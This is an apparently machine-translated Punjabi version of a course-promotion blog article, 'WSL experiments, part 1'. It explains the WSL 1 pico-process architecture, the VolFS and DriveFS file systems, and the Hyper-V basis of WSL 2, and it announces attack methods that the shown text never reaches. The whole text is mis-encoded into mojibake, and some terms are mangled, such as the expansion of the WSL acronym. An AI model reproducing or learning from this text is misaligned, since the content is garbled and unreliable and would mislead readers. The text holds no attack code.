WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

เจนเฉˆเจฒเฉ‹, เจนเฉˆเจฌเจฐ! OTUS เจ…เจ•เจคเฉ‚เจฌเจฐ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจจเจตเจพเจ‚ เจ•เฉ‹เจฐเจธ เจธเจŸเฉเจฐเฉ€เจฎ เจฒเจพเจ‚เจš เจ•เจฐเจฆเจพ เจนเฉˆ "เจฒเฉ€เจจเจ•เจธ เจธเฉเจฐเฉฑเจ–เจฟเจ†". เจ•เฉ‹เจฐเจธ เจธเจผเฉเจฐเฉ‚ เจนเฉ‹เจฃ เจฆเฉ€ เจ‰เจฎเฉ€เจฆ เจตเจฟเฉฑเจš, เจ…เจธเฉ€เจ‚ เจคเฉเจนเจพเจกเฉ‡ เจจเจพเจฒ เจธเจพเจกเฉ‡ เจ‡เฉฑเจ• เจ…เจงเจฟเจ†เจชเจ•, เจ…เจฒเฉˆเจ—เจœเจผเฉˆเจ‚เจกเจฐ เจ•เฉ‹เจฒเฉ‡เจธเจจเจฟเจ•เฉ‹เจต เจฆเฉเจ†เจฐเจพ เจฒเจฟเจ–เจฟเจ† เจ‡เฉฑเจ• เจฒเฉ‡เจ– เจธเจพเจ‚เจเจพ เจ•เจฐ เจฐเจนเฉ‡ เจนเจพเจ‚เฅค

WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

2016 เจตเจฟเฉฑเจš, เจฎเจพเจˆเจ•เจฐเฉ‹เจธเจพเจซเจŸ เจจเฉ‡ เจ†เจˆเจŸเฉ€ เจ•เจฎเจฟเจŠเจจเจฟเจŸเฉ€ เจจเฉ‚เฉฐ เจจเจตเฉ€เจ‚ WSL เจคเจ•เจจเจพเจฒเฉ‹เจœเฉ€ เจชเฉ‡เจธเจผ เจ•เฉ€เจคเฉ€ (Wเจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ Sเจฒเจˆ เจ‰เจช-เจธเจฟเจธเจŸเจฎ Linux), เจœเจฟเจธ เจจเฉ‡ เจญเจตเจฟเฉฑเจ– เจตเจฟเฉฑเจš เจชเจนเจฟเจฒเจพเจ‚ เจคเฉ‹เจ‚ เจ…เจŸเฉเฉฑเจŸ เจชเฉเจฐเจคเฉ€เจฏเฉ‹เจ—เฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจ‡เฉฑเจ•เจœเฉเฉฑเจŸ เจ•เจฐเจจเจพ เจธเฉฐเจญเจต เจฌเจฃเจพเจ‡เจ† เจœเฉ‹ เจ†เจฎ เจ…เจคเฉ‡ เจ‰เฉฑเจจเจค OS เจ‰เจชเจญเฉ‹เจ—เจคเจพเจตเจพเจ‚ เจตเจฟเฉฑเจš เจชเฉเจฐเจธเจฟเฉฑเจงเฉ€ เจฒเจˆ เจฒเฉœ เจฐเจนเฉ‡ เจธเจจ: เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ…เจคเฉ‡ เจฒเฉ€เจจเจ•เจธเฅค เจ‡เจธ เจคเจ•เจจเจพเจฒเฉ‹เจœเฉ€ เจจเฉ‡ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจตเจพเจคเจพเจตเจฐเจจ เจตเจฟเฉฑเจš เจฒเฉ€เจจเจ•เจธ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจคเฉ‹เจ‚ เจฌเจฟเจจเจพเจ‚ เจฒเฉ€เจจเจ•เจธ เจ“เจเจธ เจŸเฉ‚เจฒเจœเจผ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจเจพ เจธเฉฐเจญเจต เจฌเจฃเจพเจ‡เจ†, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจฎเจฒเจŸเฉ€-เจฌเฉ‚เจŸ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจเจพเฅค เจนเฉˆเจฌเจฐ 'เจคเฉ‡ เจคเฉเจธเฉ€เจ‚ WSL เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจ เจฆเฉ‡ เจฒเจพเจญเจพเจ‚ เจฆเจพ เจตเจฐเจฃเจจ เจ•เจฐเจจ เจตเจพเจฒเฉ‡ เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจฒเฉ‡เจ– เจฒเฉฑเจญ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจนเจพเจฒเจพเจ‚เจ•เจฟ, เจฌเจฆเจ•เจฟเจธเจฎเจคเฉ€ เจจเจพเจฒ, เจ‡เจธ เจฒเฉ‡เจ– เจฆเฉ€ เจธเจฟเจฐเจœเจฃเจพ เจฆเฉ‡ เจธเจฎเฉ‡เจ‚, เจ‡เจธ เจธเจฐเฉ‹เจค 'เจคเฉ‡ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎเจพเจ‚ เจฆเฉ‡ เจ…เจœเจฟเจนเฉ‡ เจธเจฟเฉฐเจฌเจพเจ‡เจ“เจธเจฟเจธ เจฆเฉ€ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจฌเจพเจฐเฉ‡ เจ•เฉ‹เจˆ เจ…เจงเจฟเจเจจ เจจเจนเฉ€เจ‚ เจฎเจฟเจฒเจฟเจ†เฅค เจ‡เจน เจชเฉ‹เจธเจŸ เจ‡เจธ เจจเฉ‚เฉฐ เจ เฉ€เจ• เจ•เจฐเจจ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจนเฉ‹เจตเฉ‡เจ—เฉ€เฅค เจฒเฉ‡เจ– WSL 1 เจ…เจคเฉ‡ 2 เจ†เจฐเจ•เฉ€เจŸเฉˆเจ•เจšเจฐ เจฆเฉ€เจ†เจ‚ เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพเจตเจพเจ‚ เจฌเจพเจฐเฉ‡ เจ—เฉฑเจฒ เจ•เจฐเฉ‡เจ—เจพ เจ…เจคเฉ‡ เจ‡เจนเจจเจพเจ‚ เจคเจ•เจจเจพเจฒเฉ‹เจœเฉ€เจ†เจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจธเจฟเจธเจŸเจฎเจพเจ‚ 'เจคเฉ‡ เจนเจฎเจฒเจฟเจ†เจ‚ เจฆเฉ€เจ†เจ‚ เจ•เจˆ เจ‰เจฆเจพเจนเจฐเจฃเจพเจ‚ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เจฐเฉ‡เจ—เจพเฅค เจฒเฉ‡เจ– เจจเฉ‚เฉฐ 2 เจญเจพเจ—เจพเจ‚ เจตเจฟเฉฑเจš เจตเฉฐเจกเจฟเจ† เจ—เจฟเจ† เจนเฉˆเฅค เจชเจนเจฟเจฒเจพ เจฒเฉ€เจจเจ•เจธ เจ…เจคเฉ‡ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจคเฉ‹เจ‚ เจฎเฉเฉฑเจ– เจธเจฟเจงเจพเจ‚เจคเจ• เจนเจฎเจฒเฉ‡ เจฆเฉ‡ เจคเจฐเฉ€เจ•เฉ‡ เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเฉ‡เจ—เจพเฅค เจฆเฉ‚เจœเฉ‡ เจฒเฉ‡เจ– เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจŸเฉˆเจธเจŸ เจตเจพเจคเจพเจตเจฐเจฃ เจธเจฅเจพเจชเจค เจ•เจฐเจจเจพ เจ…เจคเฉ‡ เจนเจฎเจฒเจฟเจ†เจ‚ เจจเฉ‚เฉฐ เจฆเฉเจฌเจพเจฐเจพ เจคเจฟเจ†เจฐ เจ•เจฐเจจเจพ เจธเจผเจพเจฎเจฒ เจนเฉ‹เจตเฉ‡เจ—เจพเฅค

WSL 1: เจ†เจฐเจ•เฉ€เจŸเฉˆเจ•เจšเจฐเจฒ เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพเจตเจพเจ‚

WSL เจธเฉเจฐเฉฑเจ–เจฟเจ† เจฎเฉเฉฑเจฆเจฟเจ†เจ‚ เจตเจฟเฉฑเจš เจธเจญ เจคเฉ‹เจ‚ เจธเจนเฉ€ เจ—เฉ‹เจคเจพเจ–เฉ‹เจฐเฉ€ เจฒเจˆ, เจธเจฌ-เจธเจฟเจธเจŸเจฎ เจจเฉ‚เฉฐ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจ เจจเจพเจฒ เจธเฉฐเจฌเฉฐเจงเจฟเจค เจฎเฉเฉฑเจ– เจธเฉ‚เจ–เจฎเจคเจพเจตเจพเจ‚ เจจเฉ‚เฉฐ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เจฐเจจเจพ เจœเจผเจฐเฉ‚เจฐเฉ€ เจนเฉˆเฅค เจกเจฌเจฒเจฏเฉ‚เจเจธเจเจฒ เจฆเฉเจ†เจฐเจพ เจนเฉฑเจฒ เจ•เฉ€เจคเฉ‡ เจ—เจ เจฎเฉเฉฑเจ– เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจ•เจพเจฐเจœเจพเจ‚ เจตเจฟเฉฑเจšเฉ‹เจ‚ เจ‡เฉฑเจ• เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ“เจเจธ เจšเจฒเจพ เจฐเจนเฉ‡ เจนเฉ‹เจธเจŸ เจ‰เฉฑเจคเฉ‡ เจฒเฉ€เจจเจ•เจธ เจŸเจฐเจฎเฉ€เจจเจฒ เจฆเฉเจ†เจฐเจพ เจ•เฉฐเจฎ เจ•เจฐเจจ เจฆเฉ€ เจฏเฉ‹เจ—เจคเจพ เจนเฉˆเฅค เจจเจพเจฒ เจนเฉ€, เจชเฉ‡เจธเจผ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจ…เจจเฉเจ•เฉ‚เจฒเจคเจพ เจ‡เฉฐเจจเฉ€ เจฎเฉ‚เจฒ เจธเฉ€ เจ•เจฟ เจฒเฉ€เจจเจ•เจธ เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจŸเฉ‡เจฌเจฒ (ELFs) เจจเฉ‚เฉฐ เจธเจฟเฉฑเจงเฉ‡ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจธเจฟเจธเจŸเจฎ 'เจคเฉ‡ เจšเจฒเจพเจ‡เจ† เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆเฅค เจ‡เจนเจจเจพเจ‚ เจŸเฉ€เจšเจฟเจ†เจ‚ เจจเฉ‚เฉฐ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ, เจตเจฟเฉฐเจกเฉ‹เจœเจผ 10 เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจตเจฟเจธเจผเฉ‡เจธเจผ เจ‰เจช-เจธเจฟเจธเจŸเจฎ เจฌเจฃเจพเจ‡เจ† เจ—เจฟเจ† เจธเฉ€ เจœเฉ‹ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ–เจพเจธ เจธเจฟเจธเจŸเจฎ เจ•เจพเจฒเจพเจ‚ เจฆเฉ‡ เจ‡เฉฑเจ• เจธเจฎเฉ‚เจน เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจฒเฉ€เจจเจ•เจธ เจเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฆเฉ€ เจ†เจ—เจฟเจ† เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ - เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚, เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ‰เฉฑเจคเฉ‡ เจฒเฉ€เจจเจ•เจธ เจธเจฟเจธเจ•เฉˆเจฒ เจฆเฉ‡ เจ‡เฉฑเจ• เจธเจฎเฉ‚เจน เจจเฉ‚เฉฐ เจฎเฉˆเจช เจ•เจฐเจจ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจธเฉ€เฅค เจ‡เจน เจญเฉŒเจคเจฟเจ• เจคเฉŒเจฐ 'เจคเฉ‡ เจจเจตเฉ‡เจ‚ เจกเจฐเจพเจˆเจตเจฐเจพเจ‚ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจจเจตเฉ‡เจ‚ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจซเจพเจฐเจฎเฉˆเจŸ เจจเฉ‚เฉฐ เจœเฉ‹เฉœ เจ•เฉ‡ เจฒเจพเจ—เฉ‚ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€เฅค เจฆเฉเจฐเจฟเจธเจผเจŸเฉ€เจ—เจค เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจ†เจฐเจ•เฉ€เจŸเฉˆเจ•เจšเจฐ เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚ เจฆเจฟเจ–เจพเจˆ เจฆเจฟเฉฐเจฆเจพ เจธเฉ€:

WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

เจตเจพเจธเจคเจต เจตเจฟเฉฑเจš, เจฒเฉ€เจจเจ•เจธ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจจเจพเจฒ เจชเจฐเจธเจชเจฐ เจชเฉเจฐเจญเจพเจต เจ•เจˆ เจ•เจฐเจจเจฒ เจฎเจพเจกเจฟเจŠเจฒเจพเจ‚ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจตเจฟเจธเจผเฉ‡เจธเจผ เจ•เจฟเจธเจฎ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† - pico เจฆเฉเจ†เจฐเจพ เจ†เจฏเฉ‹เจœเจฟเจค เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€เฅค เจ‰เจชเจฐเฉ‹เจ•เจค เจšเจฟเฉฑเจคเจฐ เจคเฉ‹เจ‚, เจคเฉเจธเฉ€เจ‚ เจฆเฉ‡เจ– เจธเจ•เจฆเฉ‡ เจนเฉ‹ เจ•เจฟ เจนเฉ‹เจธเจŸ 'เจคเฉ‡ เจฒเฉ€เจจเจ•เจธ เจ‰เจฆเจพเจนเจฐเจฃ 'เจคเฉ‡ เจšเฉฑเจฒ เจฐเจนเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจฎเฉ‚เจฒ เจนเฉ‹เจฃเฉ€ เจšเจพเจนเฉ€เจฆเฉ€ เจนเฉˆ เจ…เจคเฉ‡ เจจเจฟเจฏเจฎเจค เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจเจพเจ‚ เจตเจพเจ‚เจ— เจนเฉ€ เจธเจฐเฉ‹เจคเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจเฉ€ เจšเจพเจนเฉ€เจฆเฉ€ เจนเฉˆเฅค เจชเจฐ เจ‡เจธ เจจเฉ‚เฉฐ เจ•เจฟเจตเฉ‡เจ‚ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจเจพ เจนเฉˆ? เจชเฉเจฐเฉ‹เจœเฉˆเจ•เจŸ เจตเจฟเฉฑเจš เจกเฉเจฐเจพเจฌเฉเจฐเจฟเจœ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจฒเจˆ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจธเฉฐเจ•เจฒเจช เจตเจฟเจ•เจธเจฟเจค เจ•เฉ€เจคเฉ‡ เจ—เจ เจธเจจ เจœเฉ‹ เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ OS เจฆเฉ€ เจเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฒเจˆ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจฆเฉ‡ เจธเจพเจฐเฉ‡ เจฒเฉ‹เฉœเฉ€เจ‚เจฆเฉ‡ เจญเจพเจ— (เจ‡เจธเจฆเฉ‡ เจธเฉฐเจธเจ•เจฐเจฃ 'เจคเฉ‡ เจจเจฟเจฐเจญเจฐ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ) เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเจฆเฉ‡ เจนเจจเฅค

เจจเฉ‹เจŸ เจ•เจฐเฉ‹ เจ•เจฟ เจชเฉเจฐเจธเจคเจพเจตเจฟเจค เจเจฌเจธเจŸเจฐเฉˆเจ•เจธเจผเจจ เจจเฉ‡ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ (เจ–เจพเจธ เจคเฉŒเจฐ 'เจคเฉ‡, เจตเจฟเฉฐเจกเฉ‹เจœเจผ) 'เจคเฉ‡ เจงเจฟเจ†เจจ เจ•เฉ‡เจ‚เจฆเจฐเจฟเจค เจจเจพ เจ•เจฐเจจเจพ เจธเฉฐเจญเจต เจฌเจฃเจพเจ‡เจ†, เจœเจฟเจธ เจตเจฟเฉฑเจš เจ•เจฟเจธเฉ‡ เจนเฉ‹เจฐ OS เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจธเจผเฉเจฐเฉ‚ เจนเฉ‹เจฃ เจฆเฉ€ เจ‰เจฎเฉ€เจฆ เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ, เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจ†เจฎ เจชเจนเฉเฉฐเจš เจฆเจพ เจธเฉเจเจพเจ… เจฆเจฟเฉฑเจคเจพเฅค

เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚, เจชเจฟเจ•เฉ‹ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจฆเฉ‡ เจ…เฉฐเจฆเจฐ เจ•เฉ‹เจˆ เจตเฉ€ เจเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจ•เจฐเจจเจฒ เจฆเฉ€ เจชเจฐเจตเจพเจน เจ•เฉ€เจคเฉ‡ เจฌเจฟเจจเจพเจ‚ เจšเฉฑเจฒ เจธเจ•เจฆเฉ€ เจนเฉˆ:

  1. เจธเจฟเจธเจŸเจฎ เจ•เจพเจฒเจพเจ‚ เจฆเฉ€ เจ…เจจเฉเจ•เฉ‚เจฒเจคเจพ เจ…เจคเฉ‡ เจ…เจจเฉเจตเจพเจฆ เจฆเฉ€เจ†เจ‚ เจธเจฎเฉฑเจธเจฟเจ†เจตเจพเจ‚ เจตเจฟเจธเจผเฉ‡เจธเจผ เจชเฉเจฐเจฆเจพเจคเจพเจตเจพเจ‚ เจฆเฉเจ†เจฐเจพ เจนเฉฑเจฒ เจ•เฉ€เจคเฉ€เจ†เจ‚ เจœเจพเจฃเฉ€เจ†เจ‚ เจšเจพเจนเฉ€เจฆเฉ€เจ†เจ‚ เจนเจจ;
  2. เจชเจนเฉเฉฐเจš เจจเจฟเจฏเฉฐเจคเจฐเจฃ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจฎเจพเจจเฉ€เจŸเจฐ เจฆเฉเจ†เจฐเจพ เจ•เฉ€เจคเจพ เจœเจพเจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ. เจฎเจพเจจเฉ€เจŸเจฐ เจ•เจฐเจจเจฒ เจตเจฟเฉฑเจš เจธเจฅเจฟเจค เจนเฉˆ เจ…เจคเฉ‡ เจ‡เจธเจฒเจˆ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจจเจตเฉ‡เจ‚ เจกเจฐเจพเจˆเจตเจฐ เจฆเฉ‡ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจ…เฉฑเจชเจ—เจฐเฉ‡เจก เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ เจœเฉ‹ เจ…เจœเจฟเจนเฉ€เจ†เจ‚ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ†เจตเจพเจ‚ เจฒเจˆ เจ‡เฉฑเจ• เจชเฉเจฐเจฆเจพเจคเจพ เจตเจœเฉ‹เจ‚ เจ•เฉฐเจฎ เจ•เจฐ เจธเจ•เจฆเจพ เจนเฉˆเฅค เจชเฉเจฐเฉ‹เจŸเฉ‹เจŸเจพเจˆเจช เจชเฉ€เจ•เฉ‹ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจจเฉ‚เฉฐ เจฏเฉ‹เจœเจจเจพเจฌเฉฑเจง เจคเฉŒเจฐ 'เจคเฉ‡ เจนเฉ‡เจ เจพเจ‚ เจชเฉ‡เจธเจผ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆ:

WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

เจ•เจฟเจ‰เจ‚เจ•เจฟ เจฒเฉ€เจจเจ•เจธ เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจ•เฉ‡เจธ-เจธเฉฐเจตเฉ‡เจฆเจจเจธเจผเฉ€เจฒ เจซเจพเจˆเจฒ เจ…เจคเฉ‡ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจจเจพเจฎเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเจพ เจนเฉˆ, WSL - VolFS เจ…เจคเฉ‡ DriveFS เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐเจจ เจฒเจˆ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจตเจฟเฉฑเจš 2 เจ•เจฟเจธเจฎ เจฆเฉ‡ เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจธเจผเจพเจฎเจฒ เจ•เฉ€เจคเฉ‡ เจ—เจ เจธเจจเฅค VolFS เจฒเฉ€เจจเจ•เจธ เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจฆเจพ เจ‡เฉฑเจ• เจฒเจพเจ—เฉ‚เจ•เจฐเจจ เจนเฉˆ, DriveFS เจ‡เฉฑเจ• เจซเจพเจˆเจฒ เจธเจฟเจธเจŸเจฎ เจนเฉˆ เจœเฉ‹ เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจจเจฟเจฏเจฎเจพเจ‚ เจ…เจจเฉเจธเจพเจฐ เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆ, เจชเจฐ เจ•เฉ‡เจธ เจธเฉฐเจตเฉ‡เจฆเจจเจธเจผเฉ€เจฒเจคเจพ เจจเฉ‚เฉฐ เจšเฉเจฃเจจ เจฆเฉ€ เจธเจฎเจฐเฉฑเจฅเจพ เจฐเฉฑเจ–เจฆเจพ เจนเฉˆเฅค

WSL 2

WSL 1 เจฆเฉ€เจ†เจ‚ เจฌเจนเฉเจค เจธเจพเจฐเฉ€เจ†เจ‚ เจธเฉ€เจฎเจพเจตเจพเจ‚ เจธเจจ เจœเฉ‹ เจ‡เจธเจจเฉ‚เฉฐ เจตเฉฑเจง เจคเฉ‹เจ‚ เจตเฉฑเจง เจ•เจพเจฐเจœเจพเจ‚ เจจเฉ‚เฉฐ เจนเฉฑเจฒ เจ•เจฐเจจ เจฒเจˆ เจตเจฐเจคเจฃ เจฆเฉ€ เจ†เจ—เจฟเจ† เจจเจนเฉ€เจ‚ เจฆเจฟเฉฐเจฆเฉ€เจ†เจ‚ เจธเจจ: เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจ‡เจธ เจตเจฟเฉฑเจš 32-เจฌเจฟเฉฑเจŸ เจฒเฉ€เจจเจ•เจธ เจเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฆเฉ€ เจธเจฎเจฐเฉฑเจฅเจพ เจจเจนเฉ€เจ‚ เจธเฉ€, เจ…เจคเฉ‡ เจกเจฟเจตเจพเจˆเจธ เจกเจฐเจพเจˆเจตเจฐเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจเจพ เจ…เจธเฉฐเจญเจต เจธเฉ€เฅค เจ‡เจธ เจฒเจˆ, 2020 เจตเจฟเฉฑเจš, เจกเจฌเจฒเจฏเฉ‚เจเจธเจเจฒ 2 เจœเจพเจฐเฉ€ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€, เจœเจฟเจธ เจจเฉ‡ เจธเจฌ-เจธเจฟเจธเจŸเจฎ เจฌเจฃเจพเจ‰เจฃ เจฒเจˆ เจชเจนเฉเฉฐเจš เจจเฉ‚เฉฐ เจฌเจฆเจฒ เจฆเจฟเฉฑเจคเจพ เจธเฉ€เฅค WSL 2 เจ‡เฉฑเจ• เจ…เจจเฉเจ•เฉ‚เจฒเจฟเจค เจตเจฐเจšเฉเจ…เจฒ เจฎเจธเจผเฉ€เจจ เจนเฉˆ เจœเฉ‹ WSL 1 เจฆเฉ€เจ†เจ‚ เจธเจฐเฉ‹เจค เจ–เจชเจค เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพเจตเจพเจ‚ เจจเจพเจฒ เจฎเฉ‡เจฒ เจ–เจพเจ‚เจฆเฉ€ เจนเฉˆเฅค เจนเฉเจฃ, เจตเจฟเฉฐเจกเฉ‹เจœเจผ OS เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจฆเฉเจ†เจฐเจพ เจนเฉฑเจฒ เจ•เฉ€เจคเฉ€เจ†เจ‚ เจธเจฎเฉฑเจธเจฟเจ†เจตเจพเจ‚ 'เจคเฉ‡ เจจเจฟเจฐเจญเจฐ เจ•เจฐเจฆเจฟเจ†เจ‚, เจคเฉเจธเฉ€เจ‚ เจฒเฉ€เจจเจ•เจธ เจธเจฌ-เจธเจฟเจธเจŸเจฎ เจฆเฉ‡ เจฒเฉ‹เฉœเฉ€เจ‚เจฆเฉ‡ เจธเฉฐเจธเจ•เจฐเจฃ เจฆเฉ€ เจšเฉ‹เจฃ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจธเฉฐเจญเจพเจตเจฟเจค เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจ˜เจŸเจพเจ‰เจฃ เจฒเจˆ, WSL 2 เจจเฉ‚เฉฐ เจตเจฟเฉฐเจกเฉ‹เจœเจผ 10 เจตเจฟเฉฑเจš เจนเจพเจˆเจชเจฐ-เจตเฉ€ เจฆเฉ‡ เจ…เจงเจพเจฐ เจคเฉ‡ เจฒเจพเจ—เฉ‚ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€เฅค เจ‡เจธ เจฐเฉ‚เจช เจตเจฟเฉฑเจš, เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจตเจฟเฉฑเจš เจฒเฉ€เจจเจ•เจธ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎ เจ•เจฐเจจเจฒ เจจเฉ‚เฉฐ เจ…เจฒเฉฑเจ—-เจฅเจฒเฉฑเจ— เจšเจฒเจพเจ‰เจฃ เจฆเฉ€ เจธเจฎเจฐเฉฑเจฅเจพ เจนเฉˆเฅค เจ‡เจน เจฏเจพเจฆ เจฐเฉฑเจ–เจฃ เจฏเฉ‹เจ— เจนเฉˆ เจ•เจฟ WSL เจฆเจพ เจธเฉฐเจธเจ•เจฐเจฃ 1 เจ‡เฉฑเจ• เจฌเฉ€เจŸเจพ เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพ เจตเจœเฉ‹เจ‚ เจชเฉ‡เจธเจผ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€ เจœเฉ‹ เจ‡เจธ เจ–เฉ‡เจคเจฐ เจตเจฟเฉฑเจš เจตเจฟเฉฐเจกเฉ‹เจœเจผ เจฆเฉ‡ เจตเจฟเจ•เจพเจธ เจฆเฉ€ เจฆเจฟเจธเจผเจพ เจฆเจฟเจ–เจพเจ‰เจฃเจพ เจธเฉ€, เจ‡เจธเจฒเจˆ เจนเจพเจˆเจชเจฐ-เจตเฉ€ เจตเจฟเฉฑเจš เจคเจฌเจฆเฉ€เจฒเฉ€ เจฒเจพเจœเจผเจฎเฉ€ เจธเฉ€เฅค เจซเจพเจˆเจจเจฒ เจ†เจฐเจ•เฉ€เจŸเฉˆเจ•เจšเจฐ เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚ เจฆเจฟเจ–เจพเจˆ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ:

WSL เจชเฉเจฐเจฏเฉ‹เจ—เฅค เจญเจพเจ— 1

